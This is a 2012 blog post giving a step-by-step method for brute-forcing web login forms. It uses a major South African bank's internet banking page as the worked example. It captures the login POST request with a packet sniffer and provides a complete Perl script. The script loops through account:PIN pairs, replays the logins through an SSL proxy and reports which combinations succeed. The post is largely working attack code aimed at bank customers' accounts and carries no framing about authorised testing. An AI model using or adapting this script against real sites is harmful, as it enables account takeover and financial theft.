Monday, 16 April 2012

Web based authentication

What happens when you are faced with a website that use a username and a password on the page itself - that is - no basic authentication or digest/NTML authentication, but coded in a ASP op PHP? I have been asked this question many times, and will try to explain the way I handle it. There is no quick fix - each page looks different, the tags are not the same etc. I will try to explain a generic solution.
Step 1: Get the source. You should first get the HTML source of the site prompting for a username and password - now obviously if the source is in a frame you'll need to get the frame's source.
As an example I'll use a big South African bank's Internet banking pages (its SSL protected, so that will make things interesting as well). We strip all the Java validation, and the tables - we are only interested in the section starting at <form> and ending at </form>. We are left with source that looks like this:
<FORM Name="LoginPage" ACTION="/scripts/xxx/xxx.dll?Logon" METHOD="POST">
Profile Number : <br>
<INPUT TYPE="text" NAME="ProfileNumber" SIZE=14 >
Profile PIN :<br>
<INPUT TYPE=password SIZE=8 NAME="PIN" > <br>
<INPUT TYPE="submit" VALUE="Login"><br>
<Input Type="hidden" Name="Graphics" value="Off">
</FORM>
Step 2: getting the HTTP POST request. Now the more expert web developers could probably see exactly what the HTTP header would look like - but I am a bit slow so we want to make sure that we don't make a cluck-up. Safe the edited HTML source somewhere, and modify it slightly - we want the HTTP request to go through in the clear (so that we can monitor it) and so we will change the destination from
<FORM Name="LoginPage" ACTION="/scripts/xxx/xxx.dll?Logon" METHOD="POST">
to:
<FORM Name="LoginPage" ACTION="http://160.124.19.97/scripts/xxx/xxx.dll?Logon"
METHOD="POST"
The IP 160.124.19.97 is the machine right next to me on my network (not running any form of HTTPd but this is not a problem). We now fire up our favorite network sniffer looking for traffic to the IP 160.124.19.97 on port 80, while we "surf" our edited file (get it - the idea is to see the POST request in the clear). We enter some values in the fields and hit submit. On a network level the HTTP request looks like this:
# seepkt "ip and dst port 80 => show ascii"
POST /scripts/xxx/xxx.dll?Logon HTTP/1.0^M
^JConnection: Keep-Alive^M
^JUser-Agent: Mozilla/4.72 [en] (X11; I; FreeBSD 4.0-20000727-STABLE i386)^M
^JHost: 160.124.19.97^M
^JAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*^M
^JAccept-Encoding: gzip^M
^JAccept-Language: en^M
^JAccept-Charset: iso-8859-1,*,utf-8^M
^JContent-type: application/x-www-form-urlencoded^M
^JContent-length: 45^M
^J^M
^JProfileNumber=123456789&PIN=5555&Graphics=Off
(thnx to JT (you know who you are) for such a fine tool like seepkt) OK - now don't worry about the ^J's and the ^M and the start and end of the lines.
Step 3: replay the request. Now if we can send this HTTP header + 1 line of text to the server, the server will think that we are trying to log into it,
and will respond with some HTML in return. So - we need a program or script that will generate this request and send it to the webserver. Most of the header is static, but there are some fields that are dynamic. The basic structure of such a script would look like this:
1. set up the target IP and port (and other bits)
2. build the POST request
3. calculate and build the HTTP header
4. send it all to the server
5. parse the results
We might want to loop parts 2-5 for different "usernames" and "passwords". These "usernames and passwords" are read from a file. Remember that the site is SSL protected, so let us assume a SSL-proxy is running on the local machine, pointing to the target, and listening on port 5555. Let's now look at the actual script:
#!/usr/bin/perl
use Socket;
########[1] Init all
$host = "127.0.0.1";
$port = 5555;
$urlthingy = "/scripts/xxx/xxx.dll?Logon";
$target = inet_aton($host);
open (INPUT,"accounts") || die "Could not open account file\n";
########[loop] begin
while (<INPUT>){
chop;
($account,$pin)=split(/:/,$_)
print "Testing account $account with PIN $pin : ";
#######[2] Build POST request
$poststring="ProfileNumber=".$account."&PIN=".$pin."&Graphics=Off";
#######[3] calculate & build HTTP header
$plength=length("$poststring");
$tosend=<<EOT
POST $urlthingy HTTP/1.0
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
$poststring
EOT
;
$tosend=~s/\n/\r\n/g;
#######[4] Send it to the server
#print $tosend;
my @results=sendraw($tosend);
#print @results;
#######[5] Parse the results
my $fail=0;
for (@results) {
if (/The Profile/) {$fail=1;}
}
for (@results) {
if (/PIN/) {$fail=2;}
}
for (@results) {
if (/Before/) {$fail=3;}
}
if ($fail == 1) {print "not a valid account number\n";}
if ($fail == 2) {print "not a valid PIN\n";}
if ($fail == 3) {print "not a registered account number\n";}
if (!$fail) {print "is good! Bingo! \n";}
#######[loop] end
}
close (INPUT);
#### sub to send it to server - ta RFP!
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
Obviously this script have to be modified to suits your need - especially the parsing bit..:) The "account" file contains ":" separated fields -e.g.
123456789:1234
987654321:4321
etc.

No comments:

Post a Comment

LinkWithin

Related Posts Plugin for WordPress, Blogger...

Popular Posts